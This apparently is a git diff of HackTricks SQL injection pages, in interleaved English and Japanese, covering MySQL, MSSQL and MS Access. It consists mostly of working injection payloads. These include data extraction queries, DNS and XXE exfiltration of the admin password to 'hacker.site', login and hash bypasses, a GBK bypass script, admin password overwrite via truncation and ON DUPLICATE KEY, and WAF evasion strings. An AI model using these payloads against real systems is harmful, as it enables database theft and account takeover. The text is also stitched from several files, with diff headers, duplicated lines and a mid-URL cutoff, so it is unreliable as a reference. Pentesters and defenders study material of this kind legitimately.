_異なるデータベースごとにこのデータを発見する方法は異なりますが、常に同じ方法論です。_
_There is a different way to discover this data on every different database, but it's always the same methodology._
## 隠れたユニオンベースの悪用
## Exploiting Hidden Union Based
クエリの出力が表示されているが、ユニオンベースのインジェクションが達成できない場合、それは**隠れたユニオンベースのインジェクション**の存在を示しています。このシナリオはしばしばブラインドインジェクションの状況につながります。ブラインドインジェクションをユニオンベースのものに変換するには、バックエンドでの実行クエリを特定する必要があります。
When the output of a query is visible, but a union-based injection seems unachievable, it signifies the presence of a **hidden union-based injection**. This scenario often leads to a blind injection situation. To transform a blind injection into a union-based one, the execution query on the backend needs to be discerned.
これは、ブラインドインジェクション技術とターゲットのデータベース管理システムDBMSに特有のデフォルトテーブルを使用することで達成できます。これらのデフォルトテーブルを理解するためには、ターゲットDBMSのドキュメントを参照することをお勧めします。
This can be accomplished through the use of blind injection techniques alongside the default tables specific to your target Database Management System (DBMS). For understanding these default tables, consulting the documentation of the target DBMS is advised.
クエリが抽出されたら、元のクエリを安全に閉じるようにペイロードを調整する必要があります。その後、ユニオンクエリをペイロードに追加し、新たにアクセス可能なユニオンベースのインジェクションを悪用できるようにします。
Once the query has been extracted, it's necessary to tailor your payload to safely close the original query. Subsequently, a union query is appended to your payload, facilitating the exploitation of the newly accessible union-based injection.
より包括的な洞察については、[Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f)で利用可能な完全な記事を参照してください。
For more comprehensive insights, refer to the complete article available at [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
## Exploiting Error based
If for some reason you **cannot** see the **output** of the **query** but you can **see the error messages**, you can make this error messages to **ex-filtrate** data from the database.\
Following a similar flow as in the Union Based exploitation you could manage to dump the DB.
## エラーベースの悪用
何らかの理由で**クエリ**の**出力**を見ることができないが、**エラーメッセージ**を見ることができる場合、これらのエラーメッセージを使用してデータベースからデータを**抽出**することができます。\
ユニオンベースの悪用と同様の流れに従って、DBをダンプすることができるかもしれません。
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
## ブラインドSQLiの悪用
## Exploiting Blind SQLi
In this case you cannot see the results of the query or the errors, but you can **distinguished** when the query **return** a **true** or a **false** response because there are different contents on the page.\
In this case, you can abuse that behaviour to dump the database char by char:
この場合、クエリの結果やエラーを見ることはできませんが、クエリが**true**または**false**の応答を**返す**ときに区別することができます。なぜなら、ページ上の内容が異なるからです。\
この場合、その動作を悪用してデータベースを文字ごとにダンプすることができます:
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```
## エラー盲目的SQLiの悪用
## Exploiting Error Blind SQLi
This is the **same case as before** but instead of distinguish between a true/false response from the query you can **distinguish between** an **error** in the SQL query or not (maybe because the HTTP server crashes). Therefore, in this case you can force an SQLerror each time you guess correctly the char:
これは**以前と同じケース**ですが、クエリからの真偽応答を区別する代わりに、SQLクエリの**エラー**があるかどうかを**区別する**ことができますおそらくHTTPサーバーがクラッシュするため。したがって、この場合、正しく文字を推測するたびにSQLエラーを強制することができます
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## 時間ベースのSQLiの悪用
## Exploiting Time Based SQLi
In this case there **isn't** any way to **distinguish** the **response** of the query based on the context of the page. But, you can make the page **take longer to load** if the guessed character is correct. We have already saw this technique in use before in order to [confirm a SQLi vuln](./#confirming-with-timing).
この場合、ページのコンテキストに基づいてクエリの**応答**を**区別する**方法は**ありません**。しかし、推測した文字が正しい場合、ページが**読み込むのに時間がかかる**ようにすることができます。この技術は、[SQLi脆弱性の確認](./#confirming-with-timing)のために以前に使用されているのを見たことがあります。
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
## スタッククエリ
## Stacked Queries
スタッククエリを使用して、**複数のクエリを連続して実行**できます。後続のクエリが実行される間、**結果**は**アプリケーションに返されない**ことに注意してください。したがって、この技術は主に**ブラインド脆弱性**に関連して使用され、2番目のクエリを使用してDNSルックアップ、条件付きエラー、またはタイムディレイをトリガーできます。
You can use stacked queries to **execute multiple queries in succession**. Note that while the subsequent queries are executed, the **results** are **not returned to the application**. Hence this technique is primarily of use in relation to **blind vulnerabilities** where you can use a second query to trigger a DNS lookup, conditional error, or time delay.
**Oracle**は**スタッククエリ**をサポートしていません。**MySQL、Microsoft**、および**PostgreSQL**はそれらをサポートしています: `QUERY-1-HERE; QUERY-2-HERE`
**Oracle** doesn't support **stacked queries.** **MySQL, Microsoft** and **PostgreSQL** support them: `QUERY-1-HERE; QUERY-2-HERE`
## Out of band Exploitation
If **no-other** exploitation method **worked**, you may try to make the **database ex-filtrate** the info to an **external host** controlled by you. For example, via DNS queries:
## アウトオブバンドエクスプロイト
**他の**エクスプロイト方法が**機能しなかった**場合、**データベースが**情報をあなたが制御する**外部ホスト**に流出させるように試みることができます。たとえば、DNSクエリを介して:
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
### Out of band data exfiltration via XXE
### XXEを介したアウトオブバンドデータ流出
```sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
```
## 自動化された悪用
## Automated Exploitation
[SQLMap Cheatsheet](sqlmap/)をチェックして、[**sqlmap**](https://github.com/sqlmapproject/sqlmap)を使用してSQLi脆弱性を悪用します。
Check the [SQLMap Cheatsheet](sqlmap/) to exploit a SQLi vulnerability with [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
## 技術特有の情報
## Tech specific info
We have already discussed all the ways to exploit a SQL Injection vulnerability. Find some more tricks database technology dependant in this book:
SQLインジェクション脆弱性を悪用する方法についてはすでに議論しました。この本では、データベース技術に依存するいくつかのトリックを見つけてください
- [MS Access](ms-access-sql-injection.md)
- [MSSQL](mssql-injection.md)
@ -285,60 +257,51 @@ We have already discussed all the ways to exploit a SQL Injection vulnerability.
- [Oracle](oracle-injection.md)
- [PostgreSQL](postgresql-injection/)
Or you will find **a lot of tricks regarding: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
また、**MySQL、PostgreSQL、Oracle、MSSQL、SQLite、HQLに関する多くのトリックを** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)で見つけることができます。
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの一つです。**技術知識の促進を使命として**、この会議はあらゆる分野の技術とサイバーセキュリティの専門家の熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %}
## Authentication bypass
## 認証バイパス
List to try to bypass the login functionality:
ログイン機能をバイパスするために試すリスト:
{{#ref}}
../login-bypass/sql-login-bypass.md
{{#endref}}
### Raw hash authentication Bypass
### 生のハッシュ認証バイパス
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
This query showcases a vulnerability when MD5 is used with true for raw output in authentication checks, making the system susceptible to SQL injection. Attackers can exploit this by crafting inputs that, when hashed, produce unexpected SQL command parts, leading to unauthorized access.
このクエリは、認証チェックで生の出力に対してtrueを使用してMD5が使用されるときの脆弱性を示しています。これにより、システムはSQLインジェクションに対して脆弱になります。攻撃者は、ハッシュ化されたときに予期しないSQLコマンドの一部を生成する入力を作成することでこれを悪用し、不正アクセスを引き起こすことができます。
```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
```
### Injected hash authentication Bypass
### 注入されたハッシュ認証バイパス
```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```
**推奨リスト**:
**Recommended list**:
You should use as username each line of the list and as password always: _**Pass1234.**_\
&#xNAN;_(This payloads are also included in the big list mentioned at the beginning of this section)_
各行のリストをユーザー名として使用し、パスワードは常に: _**Pass1234.**_\
&#xNAN;_(このペイロードは、このセクションの最初に言及された大きなリストにも含まれています)_
{% file src="../../images/sqli-hashbypass.txt" %}
### GBK Authentication Bypass
IF ' is being scaped you can use %A8%27, and when ' gets scaped it will be created: 0xA80x5c0x27 (_╘'_)
### GBK 認証バイパス
IF ' がエスケープされている場合は %A8%27 を使用でき、' がエスケープされると次のように作成されます: 0xA80x5c0x27 (_╘'_)
```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
```
Python script:
Python スクリプト:
```python
import requests
url = "http://example.com/index.php"
@ -347,90 +310,76 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
```
### Polyglot injection (multicontext)
### ポリグロットインジェクション(マルチコンテキスト)
```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
## Insert Statement
### Modify password of existing object/user
### 既存のオブジェクト/ユーザーのパスワードを変更する
To do so you should try to **create a new object named as the "master object"** (probably **admin** in case of users) modifying something:
そのためには、**「マスターオブジェクト」として名付けられた新しいオブジェクトを作成する**ことを試みるべきです(おそらく**admin**の場合)。
- Create user named: **AdMIn** (uppercase & lowercase letters)
- Create a user named: **admin=**
- **SQL Truncation Attack** (when there is some kind of **length limit** in the username or email) --> Create user with name: **admin \[a lot of spaces] a**
- 名前を**AdMIn**(大文字と小文字の文字)としてユーザーを作成する
- 名前を**admin=**としてユーザーを作成する
- **SQLトランケーション攻撃**(ユーザー名やメールに**長さ制限**がある場合) --> 名前を**admin \[たくさんのスペース] a**としてユーザーを作成する
#### SQL Truncation Attack
#### SQLトランケーション攻撃
If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user **admin**, try to create a username called: "_admin \[30 spaces] a_" and any password.
データベースが脆弱で、ユーザー名の最大文字数が例えば30の場合、ユーザー**admin**を偽装したい場合は、"_admin \[30スペース] a_"というユーザー名を作成し、任意のパスワードを使用してみてください。
The database will **check** if the introduced **username** **exists** inside the database. If **not**, it will **cut** the **username** to the **max allowed number of characters** (in this case to: "_admin \[25 spaces]_") and the it will **automatically remove all the spaces at the end updating** inside the database the user "**admin**" with the **new password** (some error could appear but it doesn't means that this hasn't worked).
データベースは、入力された**ユーザー名**がデータベース内に**存在するか**を**確認**します。もし**存在しなければ**、**ユーザー名**を**最大許可文字数**(この場合は"_admin \[25スペース]_"に)**切り詰め**、その後、**データベース内のユーザー「**admin**」を新しいパスワードで更新する際に、末尾のすべてのスペースを**自動的に削除**します(エラーが表示される可能性がありますが、これは機能しなかったことを意味しません)。
More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
詳細情報: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
_注: この攻撃は、最新のMySQLインストールでは上記のようには機能しなくなります。比較はデフォルトで末尾の空白を無視しますが、フィールドの長さよりも長い文字列を挿入しようとするとエラーが発生し、挿入は失敗します。このチェックに関する詳細情報は:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
### MySQL Insert time based checking
Add as much `','',''` as you consider to exit the VALUES statement. If delay is executed, you have a SQLInjection.
### MySQL挿入時間ベースのチェック
`','',''`をできるだけ追加して、VALUESステートメントを終了させると考えます。遅延が実行される場合、SQLインジェクションがあります。
```sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### ON DUPLICATE KEY UPDATE
The `ON DUPLICATE KEY UPDATE` clause in MySQL is utilized to specify actions for the database to take when an attempt is made to insert a row that would result in a duplicate value in a UNIQUE index or PRIMARY KEY. The following example demonstrates how this feature can be exploited to modify the password of an administrator account:
MySQLの`ON DUPLICATE KEY UPDATE`句は、UNIQUEインデックスまたはPRIMARY KEYで重複する値を生成する行を挿入しようとしたときに、データベースが実行するアクションを指定するために使用されます。以下の例は、この機能がどのように悪用されて管理者アカウントのパスワードを変更するために利用されるかを示しています。
Example Payload Injection:
An injection payload might be crafted as follows, where two rows are attempted to be inserted into the `users` table. The first row is a decoy, and the second row targets an existing administrator's email with the intention of updating the password:
注入ペイロードは次のように作成される可能性があり、`users`テーブルに2行を挿入しようとしています。最初の行はおとりで、2番目の行は既存の管理者のメールアドレスをターゲットにしてパスワードを更新する意図があります
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
以下のように機能します:
Here's how it works:
- クエリは2つの行を挿入しようとします1つは `generic_user@example.com` 用、もう1つは `admin_generic@example.com` 用です。
- `admin_generic@example.com` の行がすでに存在する場合、`ON DUPLICATE KEY UPDATE` 句がトリガーされ、MySQLに既存の行の `password` フィールドを "bcrypt_hash_of_newpassword" に更新するよう指示します。
- その結果、`admin_generic@example.com` を使用して、bcryptハッシュに対応するパスワードで認証を試みることができます"bcrypt_hash_of_newpassword" は新しいパスワードのbcryptハッシュを表し、実際のパスワードのハッシュに置き換える必要があります
- The query attempts to insert two rows: one for `generic_user@example.com` and another for `admin_generic@example.com`.
- If the row for `admin_generic@example.com` already exists, the `ON DUPLICATE KEY UPDATE` clause triggers, instructing MySQL to update the `password` field of the existing row to "bcrypt_hash_of_newpassword".
- Consequently, authentication can then be attempted using `admin_generic@example.com` with the password corresponding to the bcrypt hash ("bcrypt_hash_of_newpassword" represents the new password's bcrypt hash, which should be replaced with the actual hash of the desired password).
### 情報を抽出する
### Extract information
#### Creating 2 accounts at the same time
When trying to create a new user and username, password and email are needed:
#### 同時に2つのアカウントを作成する
新しいユーザーを作成しようとする際には、ユーザー名、パスワード、メールが必要です:
```
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
```
#### 10進数または16進数の使用
#### Using decimal or hexadecimal
With this technique you can extract information creating only 1 account. It is important to note that you don't need to comment anything.
Using **hex2dec** and **substr**:
この技術を使用すると、1つのアカウントを作成するだけで情報を抽出できます。コメントをする必要はないことに注意してください。
**hex2dec** と **substr** を使用して:
```sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
To get the text you can use:
テキストを取得するには、次のようにします:
```python
__import__('binascii').unhexlify(hex(215573607263)[2:])
```
Using **hex** and **replace** (and **substr**):
**hex** と **replace** (および **substr**) を使用して:
```sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
@ -439,34 +388,28 @@ Using **hex** and **replace** (and **substr**):
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
[**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ** で最も重要なイベントの一つです。 **技術的知識の促進** を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %}
## Routed SQL injection
Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
Routed SQL injection は、注入可能なクエリが出力を生成するものではなく、注入可能なクエリの出力が出力を生成するクエリに送られる状況です。 ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
Example:
```
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
```
## WAF バイパス
## WAF Bypass
[初期のバイパスはこちら](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
### No spaces bypass
No Space (%20) - bypass using whitespace alternatives
### スペースなしバイパス
No Space (%20) - ホワイトスペースの代替を使用してバイパス
```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
@ -475,41 +418,31 @@ No Space (%20) - bypass using whitespace alternatives
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```
No Whitespace - bypass using comments
ホワイトスペースなし - コメントを使用してバイパス
```sql
?id=1/*comment*/and/**/1=1/**/--
```
No Whitespace - bypass using parenthesis
空白なし - 括弧を使用してバイパス
```sql
?id=(1)and(1)=(1)--
```
### No commas bypass
No Comma - bypass using OFFSET, FROM and JOIN
No Comma - OFFSET、FROM、JOINを使用したバイパス
```
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```
### 一般的なバイパス
### Generic Bypasses
Blacklist using keywords - bypass using uppercase/lowercase
キーワードを使用したブラックリスト - 大文字/小文字を使用してバイパス
```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```
Blacklist using keywords case insensitive - bypass using an equivalent operator
キーワードを使用したブラックリスト(大文字と小文字を区別しない) - 同等の演算子を使用してバイパスする
```
AND -> && -> %26%26
OR -> || -> %7C%7C
@ -517,58 +450,36 @@ OR -> || -> %7C%7C
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
```
### 科学的表記法によるWAFバイパス
### Scientific Notation WAF bypass
You can find a more in depth explaination of this trick in [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
Basically you can use the scientific notation in unexpected ways for the WAF to bypass it:
このトリックの詳細な説明は[gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)で見つけることができます。\
基本的に、科学的表記法を予期しない方法で使用することで、WAFをバイパスすることができます
```
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
```
### カラム名制限のバイパス
### Bypass Column Names Restriction
First of all, notice that if the **original query and the table where you want to extract the flag from have the same amount of columns** you might just do: `0 UNION SELECT * FROM flag`
Its possible to **access the third column of a table without using its name** using a query like the following: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, so in an sqlinjection this would looks like:
まず最初に、**元のクエリとフラグを抽出したいテーブルが同じ数のカラムを持っている場合**、次のようにすることができます: `0 UNION SELECT * FROM flag`
**カラム名を使用せずにテーブルの3番目のカラムにアクセスすることが可能**で、次のようなクエリを使用します: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;` したがって、sqlinjectionでは次のようになります:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
```
Or using a **comma bypass**:
または**カンマバイパス**を使用します:
```bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
```
このトリックは[https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)から取られました。
This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
### WAF bypass suggester tools
### WAFバイパス提案ツール
{% embed url="https://github.com/m4ll0k/Atlas" %}
## Other Guides
## その他のガイド
- [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
## Brute-Force Detection List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
{% embed url="https://www.rootedcon.com/" %}
{{#include ../../banners/hacktricks-training.md}}
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%

View File

@ -2,10 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
Check the following blogs:
次のブログをチェックしてください:
- [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
- [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,195 +2,166 @@
{{#include ../../banners/hacktricks-training.md}}
## Online Playground
## オンラインプレイグラウンド
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
## DB Limitations
## DBの制限
### String Concatenation
String concatenation is possible with `& (%26)` and `+ (%2b)` characters.
### 文字列の連結
文字列の連結は `& (%26)``+ (%2b)` 文字を使用して可能です。
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
### コメント
### Comments
There are no comments in MS access, but apparently it's possible to remove the last of a query with a NULL char:
MS Accessにはコメントがありませんが、NULL文字を使用してクエリの最後を削除することが可能なようです:
```sql
1' union select 1,2 from table%00
```
If this is not working you could always fix the syntax of the query:
クエリの構文を修正することもできます。
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
### スタッククエリ
### Stacked Queries
They aren't supported.
サポートされていません。
### LIMIT
The **`LIMIT`** operator **isn't implemented**. However, it's possible to limit SELECT query results to the **first N table rows using the `TOP` operator**. `TOP` accepts as argument an integer, representing the number of rows to be returned.
**`LIMIT`** 演算子は **実装されていません**。ただし、**`TOP` 演算子**を使用してSELECTクエリの結果を**最初のNテーブル行に制限する**ことが可能です。`TOP`は、返される行数を表す整数を引数として受け取ります。
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
Just like TOP you can use **`LAST`** which will get the **rows from the end**.
## UNION Queries/Sub queries
In a SQLi you usually will want to somehow execute a new query to extract information from other tables. MS Access always requires that in **subqueries or extra queries a `FROM` is indicated**.\
So, if you want to execute a `UNION SELECT` or `UNION ALL SELECT` or a `SELECT` between parenthesis in a condition, you always **need to indicate a `FROM` with a valid table name**.\
Therefore, you need to know a **valid table name**.
だから、`UNION SELECT``UNION ALL SELECT`、または条件内の括弧の中の`SELECT`を実行したい場合は、常に**有効なテーブル名を持つ`FROM`を示す必要があります**。\
したがって、**有効なテーブル名**を知っておく必要があります。
```sql
-1' UNION SELECT username,password from users%00
```
### Chaining equals + Substring
### チェイニングイコール + サブストリング
> [!WARNING]
> This will allow you to exfiltrate values of the current table without needing to know the name of the table.
> これにより、テーブルの名前を知らなくても現在のテーブルの値を抽出することができます。
**MS Access** allows **weird syntax** such as **`'1'=2='3'='asd'=false`**. As usually the SQL injection will be inside a **`WHERE`** clause we can abuse that.
Imagine you have a SQLi in a MS Access database and you know (or guessed) that one **column name is username**, and thats the field you want to **exfiltrate**. You could check the different responses of the web app when the chaining equals technique is used and potentially exfiltrate content with a **boolean injection** using the **`Mid`** function to get substrings.
**MS Access** は **`'1'=2='3'='asd'=false`** のような **奇妙な構文** を許可します。通常、SQLインジェクションは **`WHERE`** 句の中にあるため、これを悪用できます。
MS Access データベースに SQLi があり、1つの **カラム名が username** であることを知っている(または推測している)とします。そして、それが抽出したいフィールドです。チェイニングイコール技術を使用したときのウェブアプリの異なる応答を確認し、**`Mid`** 関数を使用してサブストリングを取得することで、**ブールインジェクション** を使用してコンテンツを抽出する可能性があります。
```sql
'=(Mid(username,1,3)='adm')='
```
If you know the **name of the table** and **column** to dump you can use a combination between `Mid` , `LAST` and `TOP` to **leak all the info** via boolean SQLi:
テーブルの**名前**と**カラム**を知っている場合、`Mid``LAST`、および`TOP`の組み合わせを使用して、ブールSQLiを介して**すべての情報を漏洩**させることができます:
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
オンラインプレイグラウンドでこれを確認してください。
_Feel free to check this in the online playground._
### Brute-forcing Tables names
Using the chaining equals technique you can also **bruteforce table names** with something like:
### テーブル名のブルートフォース
チェイニングイコール技術を使用すると、次のように**テーブル名をブルートフォース**することもできます:
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
You can also use a more traditional way:
より伝統的な方法を使用することもできます:
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
オンラインプレイグラウンドでこれを確認してください。
_Feel free to check this in the online playground._
- Sqlmapの一般的なテーブル名: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) に別のリストがあります。
- Sqlmap common table names: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
- There is another list in [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
### Brute-Forcing Columns names
You can **brute-force current columns names** with the chaining equals trick with:
### カラム名のブルートフォース
**現在のカラム名をブルートフォース**するには、次のようにチェイニングイコールのトリックを使用できます:
```sql
'=column_name='
```
Or with a **group by**:
または **group by** を使用して:
```sql
-1' GROUP BY column_name%00
```
Or you can brute-force column names of a **different table** with:
別のテーブルのカラム名をブルートフォースすることもできます:
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
